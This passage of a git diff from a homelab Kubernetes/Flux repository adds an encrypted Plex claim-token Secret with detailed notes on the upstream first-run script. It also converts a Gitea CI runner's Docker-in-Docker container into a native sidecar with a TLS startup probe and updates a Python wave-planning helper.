`crash_detection` true, **and read them back**. Both are still `0`. This is the only thing standing
|
||||||
|
between the working server and it disappearing at the next pod restart — including the restart that
|
||||||
|
merging `fix/crafty-oauth2-proxy-signin` will cause.
|
||||||
|
2. **Leave `transport=raknet` and the allowlist alone.** Keep ignoring the `TRANSPORT TYPE ERROR` banner
|
||||||
|
and the `too few fields` warning.
|
||||||
|
3. **Add a gamertag per additional player** — console `allowlist add <Gamertag>` (no restart needed).
|
||||||
|
Do **not** switch to `allow-list=false`: the game port is un-gated by design, so the allowlist is the
|
||||||
|
only join control.
|
||||||
|
4. **After any Bedrock recreate or BDS update**, re-run the 5-step connect procedure — transport and
|
||||||
|
allowlist both reset silently.
|
||||||
|
5. **Before announcing this to more than one player**, note that only one simultaneous session has been
|
||||||
|
proven; if a second player evicts the first, that is the SNAT/conntrack question and needs its own
|
||||||
|
measured investigation.
|
||||||
@@ -17,6 +17,7 @@ resources:
|
|||||||
- pihole-dns.yaml
|
- pihole-dns.yaml
|
||||||
- pihole-oauth2-proxy-credentials.sops.yaml
|
- pihole-oauth2-proxy-credentials.sops.yaml
|
||||||
- pihole.yaml
|
- pihole.yaml
|
||||||
|
- plex-claim-secret.sops.yaml
|
||||||
- plex.yaml
|
- plex.yaml
|
||||||
- qbittorrent-bootstrap-secret.sops.yaml
|
- qbittorrent-bootstrap-secret.sops.yaml
|
||||||
- qbittorrent-oauth2-proxy-credentials.sops.yaml
|
- qbittorrent-oauth2-proxy-credentials.sops.yaml
|
||||||
|
|||||||
@@ -0,0 +1,77 @@
|
|||||||
|
# Plex plex.tv server-claim token (WS-APPS). SOPS-encrypted (age).
|
||||||
|
# Consumed by catalog/plex.yaml as env PLEX_CLAIM via valueFrom.secretKeyRef.
|
||||||
|
#
|
||||||
|
# NOTE ON THESE COMMENTS: they carry NO dollar-brace expressions, deliberately. This file is applied
|
||||||
|
# by the apps-wave-0 Flux Kustomization, which runs envsubst over the built output, and kustomize
|
||||||
|
# preserves body comments into that stream (see conformance/tests/l0-static/flux-postbuild-
|
||||||
|
# substitution). A braced token quoted from the upstream shell script would be a live hazard here,
|
||||||
|
# not prose, so the upstream conditions below are described in words.
|
||||||
|
#
|
||||||
|
# THIS FILE NO LONGER HOLDS THE PLACEHOLDER. Corrected 2026-09-29: the server was CLAIMED on that
|
||||||
|
# date, and the value here is the SPENT token from that claim. It is inert and safe to leave --
|
||||||
|
# upstream gates the exchange on PlexOnlineToken being ABSENT from /config, and it is now present on
|
||||||
|
# the plex-config PVC, so this value is a NO-OP on every start whatever it holds. Deleting the Secret
|
||||||
|
# would NOT be safe (see below), which is why a spent token stays here rather than being blanked.
|
||||||
|
#
|
||||||
|
# The claim token is SHORT-LIVED -- minutes. Read the countdown that plex.tv/claim renders when it
|
||||||
|
# issues one; do NOT budget against a number written in this tree. Earlier revisions of this comment
|
||||||
|
# asserted a "~4-minute TTL" as established fact with no citation, and upstream plexinc/pms-docker
|
||||||
|
# documents no expiry at all. That uncited number was load-bearing for the whole procedure design.
|
||||||
|
#
|
||||||
|
# This file exists to make the Secret — and therefore the env reference — ALWAYS RESOLVABLE IN THE
|
||||||
|
# FLUX GRAPH, not to carry a working token. Re-claiming (only needed after a /config wipe) is
|
||||||
|
# scripted: infra/plex/claim-ship.sh, measured at ~2m45s end to end.
|
||||||
|
#
|
||||||
|
# WHY SHIPPING A PLACEHOLDER IS SAFE (verified against plexinc/pms-docker branch `master`, the
|
||||||
|
# s6-overlay v2 script root/etc/cont-init.d/40-plex-first-run, cross-checked byte-identical against
|
||||||
|
# the same file extracted from the running `plexinc/pms-docker:latest` image):
|
||||||
|
# - line 106 guards the claim exchange on TWO conditions: PLEX_CLAIM non-empty AND the
|
||||||
|
# PlexOnlineToken pref read out of /config empty. Once the server is claimed that block is
|
||||||
|
# skipped entirely, so whatever this Secret holds is a NO-OP on every later start. Upstream
|
||||||
|
# README: "If server is already logged in, this parameter is ignored."
|
||||||
|
# - on a still-UNCLAIMED /config, an invalid or expired token makes plex.tv answer 403 with an
|
||||||
|
# empty body. curl's exit status is never checked, the sed for the authentication-token element
|
||||||
|
# yields the empty string, and the success branch at line 120 simply does not fire. There is no
|
||||||
|
# else branch and no non-zero exit; the script has no `set -e` and ends by touching
|
||||||
|
# /.firstRunComplete and echoing, so it exits 0. The server comes up UNCLAIMED and serving.
|
||||||
|
# It does NOT crashloop.
|
||||||
|
# - the image never sets S6_BEHAVIOUR_IF_STAGE2_FAILS, whose default is 0 ("continue silently even
|
||||||
|
# if a cont-init script failed"), so even a hypothetical non-zero exit would not halt startup.
|
||||||
|
# A MISSING Secret would NOT be safe: the ServiceDefinition schema's valueFrom.secretKeyRef shape
|
||||||
|
# has no `optional` field, so an absent Secret is a hard CreateContainerConfigError. That is exactly
|
||||||
|
# why this file is committed and listed in apps/wave-0/kustomization.yaml instead of being created
|
||||||
|
# by hand at claim time.
|
||||||
|
#
|
||||||
|
# INJECTION / ROTATION (operator, not agents) — runbooks/plex-claim.md has the timed procedure:
|
||||||
|
# infra/devcontainer/dev.sh run sops apps/wave-0/plex-claim-secret.sops.yaml
|
||||||
|
# Never decrypt this file into a shell, a log, or a shared terminal.
|
||||||
|
apiVersion: v1
|
||||||
|
kind: Secret
|
||||||
|
metadata:
|
||||||
|
name: plex-claim
|
||||||
|
namespace: plex
|
||||||
|
labels:
|
||||||
|
app.kubernetes.io/name: plex
|
||||||
|
type: Opaque
|
||||||
|
stringData:
|
||||||
|
PLEX_CLAIM: ENC[AES256_GCM,data:nLmzeUBWRhRjUakrGiGzQpQuqZNcIYvRH6M=,iv:z0on/dArsNejNLrp3V1nSiNLFzKcREhPuMO1634CwQw=,tag:Ih23CT1JYna/5lfYQUb1Dw==,type:str]
|
||||||
|
sops:
|
||||||
|
kms: []
|
||||||
|
gcp_kms: []
|
||||||
|
azure_kv: []
|
||||||
|
hc_vault: []
|
||||||
|
age:
|
||||||
|
- recipient: age175l8mdpdfu7hq0aml3exs3gykarwjmuvr23sq56s3wjejnyk44wsp4mfzg
|
||||||
|
enc: |
|
||||||
|
-----BEGIN AGE ENCRYPTED FILE-----
|
||||||
|
YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSA2dWtqOVNQalZ2QlRxOXJa
|
||||||
|
cDc1MTdtWENkdWIxS1JId3dIU1JDSmk0ODNrCk1YUzhFWXR3bUxyV2NNcmFOakdz
|
||||||
|
THl1Q284dFJxTy9Rd1h0eXJJaVZtdmcKLS0tIERuN0ZFeW9zdi9aNFRYNWxmUS9s
|
||||||
|
QUtYdHEvN042ajNoNktOLzlYQmQrc1kK4NHozMbXVzNGYbUBRbK6a9Uw/sVPAfe6
|
||||||
|
RW5KWzZ4I/hloqjN3zzVISoSMieMkBGDnF5qZS5N6FqIc6/HrsDD8A==
|
||||||
|
-----END AGE ENCRYPTED FILE-----
|
||||||
|
lastmodified: "2026-09-29T06:31:16Z"
|
||||||
|
mac: ENC[AES256_GCM,data:62BmBAq45CD2g6LDyx+Ho4bTfrhJcaro/RB/iM+OaRc4a/D83MhjbcBL11Uz/O726inqhkvCKDJ/fFemoc50JDbtC79cYMaxrGJNjFM0sdckWrowPvh6ie7HHHUBRBaefl+gNfnc+pbvcncvRzwA4RyzcZse1wbxKfHN8FjEopE=,iv:h0cMShs3tIgnY6eruUYymYrcLFzQZLk/uXQJ/Jsd5ek=,tag:nZ9Pau7p4xWT1QCN1vv2vA==,type:str]
|
||||||
|
pgp: []
|
||||||
|
encrypted_regex: ^(data|stringData)$
|
||||||
|
version: 3.9.4
|
||||||
@@ -132,6 +132,11 @@ spec:
|
|||||||
value: Etc/UTC
|
value: Etc/UTC
|
||||||
- name: ALLOWED_NETWORKS
|
- name: ALLOWED_NETWORKS
|
||||||
value: 10.0.0.0/8,192.168.0.0/16
|
value: 10.0.0.0/8,192.168.0.0/16
|
||||||
|
- name: PLEX_CLAIM
|
||||||
|
valueFrom:
|
||||||
|
secretKeyRef:
|
||||||
|
name: plex-claim
|
||||||
|
key: PLEX_CLAIM
|
||||||
volumeMounts:
|
volumeMounts:
|
||||||
- name: config
|
- name: config
|
||||||
mountPath: /config
|
mountPath: /config
|
||||||
|
|||||||
@@ -4,7 +4,13 @@
|
|||||||
# against Gitea. Flux decrypts it via the sops-age key at reconcile (apps Kustomization
|
# against Gitea. Flux decrypts it via the sops-age key at reconcile (apps Kustomization
|
||||||
# decryption is wired in clusters/dev/kustomization.yaml). Rotate by resetting the token
|
# decryption is wired in clusters/dev/kustomization.yaml). Rotate by resetting the token
|
||||||
# in Gitea (admin -> actions -> runners) and re-encrypting a fresh value here.
|
# in Gitea (admin -> actions -> runners) and re-encrypting a fresh value here.
|
||||||
# Recover/inspect: infra/devcontainer/dev.sh run sops -d apps/gitea-actions-runner-secret.sops.yaml
|
# ROTATE: ./infra/gitea/runner-token-rotate.sh -- it mints a fresh instance-level token from the
|
||||||
|
# Gitea API and writes it here via `sops set`, without the value ever being printed.
|
||||||
|
# Do NOT `sops -d` this file into a terminal, a log, or an agent transcript. To check only that
|
||||||
|
# it still decrypts, redirect: `sops -d <file> > /dev/null`.
|
||||||
|
# NOTE: a fresh token alone may not re-register the runner. act_runner registers ONCE and keeps
|
||||||
|
# its identity in /data/.runner on the act-runner-data PVC; if Gitea no longer holds a matching
|
||||||
|
# row it skips registration silently. Clearing that PVC is what forces a real re-registration.
|
||||||
apiVersion: v1
|
apiVersion: v1
|
||||||
kind: Secret
|
kind: Secret
|
||||||
metadata:
|
metadata:
|
||||||
|
|||||||
+69
-106
@@ -99,70 +99,79 @@ spec:
|
|||||||
# CI holds no cluster credentials — do not mount a SA token into the runner or
|
# CI holds no cluster credentials — do not mount a SA token into the runner or
|
||||||
# (via the shared netns) the job containers (R-SEC-02, docs/14).
|
# (via the shared netns) the job containers (R-SEC-02, docs/14).
|
||||||
automountServiceAccountToken: false
|
automountServiceAccountToken: false
|
||||||
|
# ---- Docker-in-Docker: the job executor daemon (privileged) -------------------
|
||||||
|
#
|
||||||
|
# NATIVE SIDECAR (k3s v1.36; sidecar containers are GA). It is an initContainer with
|
||||||
|
# `restartPolicy: Always`, which means: it starts BEFORE the regular containers, keeps
|
||||||
|
# running alongside them, and is terminated after them. kubelet holds `runner` until
|
||||||
|
# this container's startupProbe passes, so the ordering is enforced by the kubelet
|
||||||
|
# instead of hand-rolled shell in the runner.
|
||||||
|
#
|
||||||
|
# This REPLACES two bounded wait-loops that used to live in the runner's `command:`.
|
||||||
|
# Deleting them also deletes an envsubst hazard: clusters/base/apps-wave-1.yaml runs
|
||||||
|
# postBuild substitution over this ENTIRE manifest, comments included, and those loops
|
||||||
|
# depended on bare dollar-names surviving it untouched. There is now no shell here at
|
||||||
|
# all, so there is nothing to escape or mis-escape.
|
||||||
|
#
|
||||||
|
# WHY THE PROBE IS `exec docker ... info` AND NOT `tcpSocket`. A tcpSocket probe would
|
||||||
|
# re-open the exact gap the old Stage 1 existed to close: dockerd writes the TLS certs
|
||||||
|
# and only THEN begins listening, so the port can accept a connection while the certs
|
||||||
|
# are absent or incomplete -- and act_runner hard-exits on a missing
|
||||||
|
# /certs/client/ca.pem. A full TLS-verified `docker info` proves BOTH that the certs
|
||||||
|
# are usable and that the daemon answers.
|
||||||
|
#
|
||||||
|
# CORRECTION (measured 2026-09-29, after this conversion shipped): the commit that
|
||||||
|
# introduced this claimed the conversion would REMOVE the one-per-start dockerd line
|
||||||
|
# `http: TLS handshake error from 127.0.0.1: EOF`. IT DOES NOT. Exactly one still
|
||||||
|
# appears, immediately after "API listen on [::]:2376" -- it is now this probe's FIRST
|
||||||
|
# attempt, landing microseconds after dockerd begins listening and cut off by
|
||||||
|
# timeoutSeconds: 1. The next poll succeeds. It is cosmetic, exactly as cosmetic as it
|
||||||
|
# was before, and deliberately NOT chased: raising timeoutSeconds to hide one benign
|
||||||
|
# startup line would slow every subsequent poll. Left documented rather than silenced.
|
||||||
|
#
|
||||||
|
# periodSeconds 1 x failureThreshold 60 preserves the previous 60s cap.
|
||||||
|
initContainers:
|
||||||
|
- name: dind
|
||||||
|
restartPolicy: Always # <- this field is what makes it a SIDECAR
|
||||||
|
image: docker:27-dind
|
||||||
|
securityContext:
|
||||||
|
privileged: true
|
||||||
|
env:
|
||||||
|
# Generate + publish TLS certs into the shared emptyDir; dockerd then listens
|
||||||
|
# on tcp://0.0.0.0:2376 (TLS) which the runner reaches at localhost:2376.
|
||||||
|
- name: DOCKER_TLS_CERTDIR
|
||||||
|
value: /certs
|
||||||
|
volumeMounts:
|
||||||
|
- name: certs
|
||||||
|
mountPath: /certs
|
||||||
|
- name: dind-storage
|
||||||
|
mountPath: /var/lib/docker
|
||||||
|
resources:
|
||||||
|
requests:
|
||||||
|
cpu: 100m
|
||||||
|
memory: 256Mi
|
||||||
|
limits:
|
||||||
|
memory: 2Gi
|
||||||
|
startupProbe:
|
||||||
|
exec:
|
||||||
|
command:
|
||||||
|
- docker
|
||||||
|
- --host=tcp://127.0.0.1:2376
|
||||||
|
- --tlsverify
|
||||||
|
- --tlscacert=/certs/client/ca.pem
|
||||||
|
- --tlscert=/certs/client/cert.pem
|
||||||
|
- --tlskey=/certs/client/key.pem
|
||||||
|
- info
|
||||||
|
periodSeconds: 1
|
||||||
|
failureThreshold: 60
|
||||||
containers:
|
containers:
|
||||||
# ---- act_runner: registers with Gitea, dispatches jobs to the DinD daemon ----
|
# ---- act_runner: registers with Gitea, dispatches jobs to the DinD daemon ----
|
||||||
- name: runner
|
- name: runner
|
||||||
image: gitea/act_runner:0.2.11
|
image: gitea/act_runner:0.2.11
|
||||||
# TWO-STAGE BOUNDED WAIT on the DinD sidecar, then exec the image's normal
|
# No `command:` override. The image's own entrypoint (/sbin/tini -- /opt/act/run.sh)
|
||||||
# entrypoint (/sbin/tini -- /opt/act/run.sh), which registers-from-env on first
|
# registers from env on first boot and runs `act_runner daemon`. The two wait-loops
|
||||||
# boot and runs `act_runner daemon`.
|
# that used to live here are gone: kubelet now holds this container until the dind
|
||||||
#
|
# sidecar's startupProbe passes (see initContainers above).
|
||||||
# STAGE 1 — the certs must EXIST: act_runner reads /certs/client/ca.pem at startup
|
|
||||||
# and hard-exits if it is missing (a startup race against the sidecar).
|
|
||||||
# STAGE 2 — the daemon must actually ACCEPT a connection: the cert FILE appearing is
|
|
||||||
# necessary but NOT sufficient. dockerd writes the certs and only THEN begins
|
|
||||||
# listening on :2376, so a runner that proceeds on the file alone still hard-exits
|
|
||||||
# with "cannot ping the docker daemon at tcp://localhost:2376" — observed
|
|
||||||
# crashlooping 11 times in ~8 minutes on a fresh pod after a node bounce.
|
|
||||||
# Both loops are bounded (60 x 1s) and exit 1 on timeout, so a genuinely dead sidecar
|
|
||||||
# surfaces as a CrashLoopBackOff with a clear message instead of hanging forever.
|
|
||||||
#
|
|
||||||
# ENVSUBST SAFETY — the BARE $i / $j below are CORRECT. Do not "tidy" them into the
|
|
||||||
# braced form or the double-dollar form; both are wrong here, for different reasons.
|
|
||||||
# clusters/base/apps-wave-1.yaml carries postBuild.substituteFrom cluster-vars, so
|
|
||||||
# Flux envsubst runs over this ENTIRE manifest — YAML comments very much included.
|
|
||||||
# Its contract (drone/envsubst; the same one spelled out in clusters/base/apps-vms.yaml,
|
|
||||||
# and re-verified against this exact file with `flux envsubst`, flux v2.4.0) is:
|
|
||||||
# - A bare $name is NOT a reference to envsubst: it passes through untouched, and
|
|
||||||
# that holds even when the name IS set in cluster-vars. So $i and $j reach the
|
|
||||||
# cluster verbatim and both 60s bounds below are real, enforced bounds.
|
|
||||||
# - $((i + 1)) is likewise untouched: "(" cannot begin a variable name.
|
|
||||||
# - A BRACED dollar-name IS a reference and gets replaced — with the empty string
|
|
||||||
# when the name is unset. One of those here would make a bound read [ "" -ge 60 ],
|
|
||||||
# which errors, short-circuits the &&, and silently turns the wait UNBOUNDED.
|
|
||||||
# - A DOUBLE-dollar braced name is envsubst's escape and survives as the braced
|
|
||||||
# form — still wrong for us, because on any path where envsubst does NOT run
|
|
||||||
# (a plain `kustomize build` or `kubectl apply -k` of this directory) the shell
|
|
||||||
# reads that leading double-dollar as its own PID, so a bound would compare a
|
|
||||||
# string like 1234{i} against 60. The bare form is the only spelling that is
|
|
||||||
# correct on BOTH paths.
|
|
||||||
# - A braced name containing punctuation is a HARD ERROR ("unable to parse variable
|
|
||||||
# name") that fails this whole Kustomization — and this Kustomization gates every
|
|
||||||
# merge in the repo. So never write one anywhere in this file, INCLUDING in a
|
|
||||||
# comment. That is why this note names the three forms in words rather than
|
|
||||||
# showing them: an earlier draft of it spelled them out literally and broke
|
|
||||||
# `flux envsubst` on the file. (Same trap the indexed-expansion warning in
|
|
||||||
# clusters/base/apps-vms.yaml describes.)
|
|
||||||
command:
|
|
||||||
- /bin/sh
|
|
||||||
- -c
|
|
||||||
- |
|
|
||||||
# Stage 1: the sidecar's TLS client certs must appear in the shared emptyDir.
|
|
||||||
i=0
|
|
||||||
until [ -f /certs/client/ca.pem ]; do
|
|
||||||
i=$((i + 1))
|
|
||||||
[ "$i" -ge 60 ] && { echo "dind certs never appeared" >&2; exit 1; }
|
|
||||||
echo "waiting for dind TLS certs ($i)"; sleep 1
|
|
||||||
done
|
|
||||||
# Stage 2: dockerd must actually accept a connection on :2376. busybox nc in this
|
|
||||||
# Alpine-based image (gitea/act_runner:0.2.11) supports -z (scan) and -w (timeout).
|
|
||||||
j=0
|
|
||||||
until nc -z -w1 127.0.0.1 2376; do
|
|
||||||
j=$((j + 1))
|
|
||||||
[ "$j" -ge 60 ] && { echo "dind daemon never accepted a connection on 2376" >&2; exit 1; }
|
|
||||||
echo "waiting for dind daemon on :2376 ($j)"; sleep 1
|
|
||||||
done
|
|
||||||
exec /sbin/tini -- /opt/act/run.sh
|
|
||||||
env:
|
env:
|
||||||
- name: GITEA_INSTANCE_URL
|
- name: GITEA_INSTANCE_URL
|
||||||
value: https://gitea.${BASE_DOMAIN}
|
value: https://gitea.${BASE_DOMAIN}
|
||||||
@@ -198,52 +207,6 @@ spec:
|
|||||||
memory: 128Mi
|
memory: 128Mi
|
||||||
limits:
|
limits:
|
||||||
memory: 512Mi
|
memory: 512Mi
|
||||||
# ---- Docker-in-Docker: the job executor daemon (privileged) ----
|
|
||||||
#
|
|
||||||
# FOLLOW-UP (deliberately NOT bundled into the readiness fix above — own change):
|
|
||||||
# Convert this container into a NATIVE SIDECAR and delete both shell wait-loops.
|
|
||||||
# k3s is now v1.36, where sidecar containers are GA, so kubelet can enforce the
|
|
||||||
# ordering that the loops above hand-roll — which also removes the envsubst hazard
|
|
||||||
# from this file entirely (no shell, no $i/$j, nothing to escape or mis-escape).
|
|
||||||
# Shape to build:
|
|
||||||
# 1. Move this whole container into `initContainers:` as the FIRST entry.
|
|
||||||
# 2. Add `restartPolicy: Always` to it. That single field is what makes an
|
|
||||||
# initContainer a sidecar: it starts before the regular containers, keeps
|
|
||||||
# running alongside them, and is terminated after them.
|
|
||||||
# 3. Give it a `startupProbe` that succeeds only when dockerd accepts a TLS
|
|
||||||
# connection — e.g. `exec` a `docker -H tcp://127.0.0.1:2376 --tlsverify
|
|
||||||
# --tlscacert /certs/client/ca.pem --tlscert /certs/client/cert.pem
|
|
||||||
# --tlskey /certs/client/key.pem info`. Do NOT use a bare `tcpSocket` probe:
|
|
||||||
# it would re-open the same "port accepting but TLS/certs not ready" gap that
|
|
||||||
# Stage 1 above exists to close. `periodSeconds: 1` + `failureThreshold: 60`
|
|
||||||
# preserves today's 60s cap.
|
|
||||||
# 4. kubelet then holds the `runner` container until that startupProbe passes, so
|
|
||||||
# `runner` can drop its `command:` override completely and run the image's
|
|
||||||
# default entrypoint.
|
|
||||||
# Why it is a separate change: this Deployment is the ENFORCED MERGE GATE for this
|
|
||||||
# entire repository. If the conversion is wrong, nothing can merge — so it must land
|
|
||||||
# alone, where the failure is unambiguous and not entangled with anything else, and
|
|
||||||
# only after a real workflow run has been observed green on the converted pod.
|
|
||||||
- name: dind
|
|
||||||
image: docker:27-dind
|
|
||||||
securityContext:
|
|
||||||
privileged: true
|
|
||||||
env:
|
|
||||||
# Generate + publish TLS certs into the shared emptyDir; dockerd then listens
|
|
||||||
# on tcp://0.0.0.0:2376 (TLS) which the runner reaches at localhost:2376.
|
|
||||||
- name: DOCKER_TLS_CERTDIR
|
|
||||||
value: /certs
|
|
||||||
volumeMounts:
|
|
||||||
- name: certs
|
|
||||||
mountPath: /certs
|
|
||||||
- name: dind-storage
|
|
||||||
mountPath: /var/lib/docker
|
|
||||||
resources:
|
|
||||||
requests:
|
|
||||||
cpu: 100m
|
|
||||||
memory: 256Mi
|
|
||||||
limits:
|
|
||||||
memory: 2Gi
|
|
||||||
volumes:
|
volumes:
|
||||||
- name: data
|
- name: data
|
||||||
persistentVolumeClaim:
|
persistentVolumeClaim:
|
||||||
|
|||||||
+46
-9
@@ -32,11 +32,46 @@ env:
|
|||||||
# (10.43.0.0/16); 192.168.0.0/16 covers the home LAN.
|
# (10.43.0.0/16); 192.168.0.0/16 covers the home LAN.
|
||||||
- name: ALLOWED_NETWORKS
|
- name: ALLOWED_NETWORKS
|
||||||
value: 10.0.0.0/8,192.168.0.0/16
|
value: 10.0.0.0/8,192.168.0.0/16
|
||||||
# PLEX_CLAIM is deliberately NOT set here: a https://plex.tv/claim token has a ~4-min TTL, far
|
# PLEX_CLAIM — the ONE-SHOT plex.tv server claim, sourced from the SOPS Secret `plex-claim`
|
||||||
# shorter than the commit -> push -> Flux reconcile -> pod-roll cycle, so any token committed to git
|
# (apps/wave-0/plex-claim-secret.sops.yaml, same wave => applied in the same reconcile as this
|
||||||
# is already expired by the time the pod starts. Claiming is a one-time LIVE step (UI sign-in, or a
|
# workload). Plex cannot create libraries over the mounted bulk share while the server is
|
||||||
# single API POST) against the running server; the claim then persists on the /config PVC and
|
# UNCLAIMED, so this is wired; it was previously left out on the reasoning below, and only one
|
||||||
# survives pod rolls (including the roll this env change causes), so it never belongs in git.
|
# half of that reasoning survived contact with the upstream source.
|
||||||
|
#
|
||||||
|
# A SHORT TTL IS THE OPERATIONAL CONSTRAINT, not a reason to abstain. A https://plex.tv/claim token
|
||||||
|
# expires in MINUTES — read the countdown the claim page renders; do not budget against a number
|
||||||
|
# written in this tree. (This comment previously asserted "~4 minutes" as established fact. It was
|
||||||
|
# UNCITED, upstream plexinc/pms-docker documents no expiry at all, and that number was load-bearing
|
||||||
|
# for the whole procedure design — including a since-disproven claim that the delivery pipeline was
|
||||||
|
# too slow to fit inside it. Measured 2026-09-29: the full loop is ~2m45s and fits.)
|
||||||
|
#
|
||||||
|
# The live token is injected by the operator inside that window, with an explicit `flux reconcile`
|
||||||
|
# to collapse the wait. Scripted end to end as infra/plex/claim-ship.sh; runbooks/plex-claim.md is
|
||||||
|
# the procedure. SERVER CLAIMED 2026-09-29 — this env is now a permanent no-op (see below), and the
|
||||||
|
# committed value is the spent token from that claim rather than the original placeholder.
|
||||||
|
#
|
||||||
|
# ONE-SHOT, AND SAFE TO SIT HERE EXPIRED. Verified from plexinc/pms-docker's own first-run script
|
||||||
|
# (branch `master`, root/etc/cont-init.d/40-plex-first-run, confirmed byte-identical to the file in
|
||||||
|
# the running `:latest` image), NOT assumed:
|
||||||
|
# - the exchange (line 106) is guarded on TWO conditions: PLEX_CLAIM non-empty AND the
|
||||||
|
# PlexOnlineToken pref in /config empty. Once claimed, the block is SKIPPED — this env is a
|
||||||
|
# no-op on every subsequent start, whatever it holds. (Upstream README: "If server is already
|
||||||
|
# logged in, this parameter is ignored.") The claim itself persists on the /config PVC as before.
|
||||||
|
# - an invalid/expired token on a still-unclaimed /config gets a 403 with an empty body; curl's
|
||||||
|
# status is unchecked, the token `sed` yields "", the success branch at line 120 does not fire,
|
||||||
|
# there is no `else` and no `exit 1`, and the script (no `set -e`) exits 0. It comes up UNCLAIMED and
|
||||||
|
# SERVING — it does NOT crashloop. The image also leaves S6_BEHAVIOUR_IF_STAGE2_FAILS at its
|
||||||
|
# default 0, which continues startup even when a cont-init script fails.
|
||||||
|
# So the earlier "a placeholder claim Secret would crashloop the pod" note was WRONG about the
|
||||||
|
# placeholder; it was right only about an ABSENT Secret. secretKeyRef here has no `optional` field,
|
||||||
|
# so the Secret must always exist in the Flux graph — which is why it is committed, encrypted, and
|
||||||
|
# listed in apps/wave-0/kustomization.yaml rather than hand-created at claim time. No schema change
|
||||||
|
# is needed: `optional` would only matter if a missing Secret had to be tolerated, and it doesn't.
|
||||||
|
- name: PLEX_CLAIM
|
||||||
|
valueFrom:
|
||||||
|
secretKeyRef:
|
||||||
|
name: plex-claim
|
||||||
|
key: PLEX_CLAIM
|
||||||
# ADVERTISE_IP ("Custom server access URLs") is DEFERRED, not accidentally omitted. It tells Plex
|
# ADVERTISE_IP ("Custom server access URLs") is DEFERRED, not accidentally omitted. It tells Plex
|
||||||
# which URL to advertise to plex.tv for REMOTE clients. The only candidate is
|
# which URL to advertise to plex.tv for REMOTE clients. The only candidate is
|
||||||
# https://plex.home.keithjackson.dev, but that host resolves via split-horizon DNS to the INTERNAL
|
# https://plex.home.keithjackson.dev, but that host resolves via split-horizon DNS to the INTERNAL
|
||||||
@@ -56,10 +91,12 @@ storage:
|
|||||||
# container's EPHEMERAL layer -> unclaimed + all state lost on restart. The image inits as
|
# container's EPHEMERAL layer -> unclaimed + all state lost on restart. The image inits as
|
||||||
# root (s6-svscan PID 1), chowns /config to the plex user, then drops -> no fsGroup needed
|
# root (s6-svscan PID 1), chowns /config to the plex user, then drops -> no fsGroup needed
|
||||||
# (verified in-cluster: PID1=root, "Plex Media Server"=plex). Persisting /config here also
|
# (verified in-cluster: PID1=root, "Plex Media Server"=plex). Persisting /config here also
|
||||||
# makes the claim survive restarts once claimed. To auto-claim on first boot instead of the
|
# makes the claim survive restarts once claimed — which is what makes the PLEX_CLAIM env
|
||||||
# UI sign-in, the operator adds a PLEX_CLAIM env from a fresh https://plex.tv/claim token
|
# above a ONE-SHOT: the token is exchanged for a PlexOnlineToken written here, and the
|
||||||
# (4-min TTL) — deliberately NOT wired here: the env secretKeyRef pattern has no `optional`,
|
# exchange is then skipped on every later start. (The older note here claimed a
|
||||||
# so a placeholder/absent claim Secret would crashloop the pod. See operator hand-off.
|
# placeholder claim Secret "would crashloop the pod"; upstream's first-run script says
|
||||||
|
# otherwise — see the PLEX_CLAIM comment in `env` above. An ABSENT Secret is the hard
|
||||||
|
# failure, and that is why one is committed.)
|
||||||
# THE LIBRARY (docs/04 bulk tier). One READ-ONLY mount of the export ROOT, giving /media/movies,
|
# THE LIBRARY (docs/04 bulk tier). One READ-ONLY mount of the export ROOT, giving /media/movies,
|
||||||
# /media/tv and /media/photos — the whole tree the layout actually has (`ls /mnt/Storage/plex`:
|
# /media/tv and /media/photos — the whole tree the layout actually has (`ls /mnt/Storage/plex`:
|
||||||
# downloads/ movies/ photos/ tv/).
|
# downloads/ movies/ photos/ tv/).
|
||||||
|
|||||||
+15
-1
@@ -1844,6 +1844,10 @@ def plan_apps_waves(sds: list, present_files: set) -> dict:
|
|||||||
convention:
|
convention:
|
||||||
- `<svc>.yaml` -> wave(svc)
|
- `<svc>.yaml` -> wave(svc)
|
||||||
- `<svc>-bootstrap-secret.sops.yaml` -> wave(svc) (consumed by svc's env, same apply)
|
- `<svc>-bootstrap-secret.sops.yaml` -> wave(svc) (consumed by svc's env, same apply)
|
||||||
|
- `<svc>-claim-secret.sops.yaml` -> wave(svc) (a one-shot upstream-service claim token
|
||||||
|
consumed by svc's env — plex's plex.tv claim. Same wave as the app for the same reason the
|
||||||
|
bootstrap secret is: an env `secretKeyRef` has no `optional`, so the Secret must be applied
|
||||||
|
in the SAME reconcile as the workload or the pod is CreateContainerConfigError.)
|
||||||
- `<svc>-oauth2-proxy-credentials.sops.yaml` -> wave(svc) (forward-auth sidecar OIDC creds)
|
- `<svc>-oauth2-proxy-credentials.sops.yaml` -> wave(svc) (forward-auth sidecar OIDC creds)
|
||||||
- `<svc>-db.yaml` -> wave(svc-db) (a strictly-lower wave; CNPG DB)
|
- `<svc>-db.yaml` -> wave(svc-db) (a strictly-lower wave; CNPG DB)
|
||||||
- `<svc>-db-app.sops.yaml` -> wave(svc-db) (CNPG initdb owner secret)
|
- `<svc>-db-app.sops.yaml` -> wave(svc-db) (CNPG initdb owner secret)
|
||||||
@@ -1870,6 +1874,11 @@ def plan_apps_waves(sds: list, present_files: set) -> dict:
|
|||||||
w = waves[name]
|
w = waves[name]
|
||||||
add(w, f"{name}.yaml")
|
add(w, f"{name}.yaml")
|
||||||
add(w, f"{name}-bootstrap-secret.sops.yaml")
|
add(w, f"{name}-bootstrap-secret.sops.yaml")
|
||||||
|
# A one-shot claim token for an UPSTREAM service (plex's plex.tv claim). Same wave as the
|
||||||
|
# app: it is read by the app's env at pod start, and an env secretKeyRef has no `optional`,
|
||||||
|
# so a Secret applied in a later wave would leave the pod in CreateContainerConfigError.
|
||||||
|
# Placed only when the file exists, so services without one are unaffected.
|
||||||
|
add(w, f"{name}-claim-secret.sops.yaml")
|
||||||
# forward-auth (Option B): the per-app oauth2-proxy sidecar's OIDC client + cookie secret.
|
# forward-auth (Option B): the per-app oauth2-proxy sidecar's OIDC client + cookie secret.
|
||||||
# Same wave as the app (the sidecar reads it at pod start); placed only when the file exists,
|
# Same wave as the app (the sidecar reads it at pod start); placed only when the file exists,
|
||||||
# so non-forward-auth apps are unaffected. Mirrors the bootstrap-secret naming convention.
|
# so non-forward-auth apps are unaffected. Mirrors the bootstrap-secret naming convention.
|
||||||
@@ -2548,7 +2557,8 @@ def _selftest() -> int:
|
|||||||
# 7a) plan_apps_waves: sidecars inherit their unit's wave; not-onboarded SDs are skipped;
|
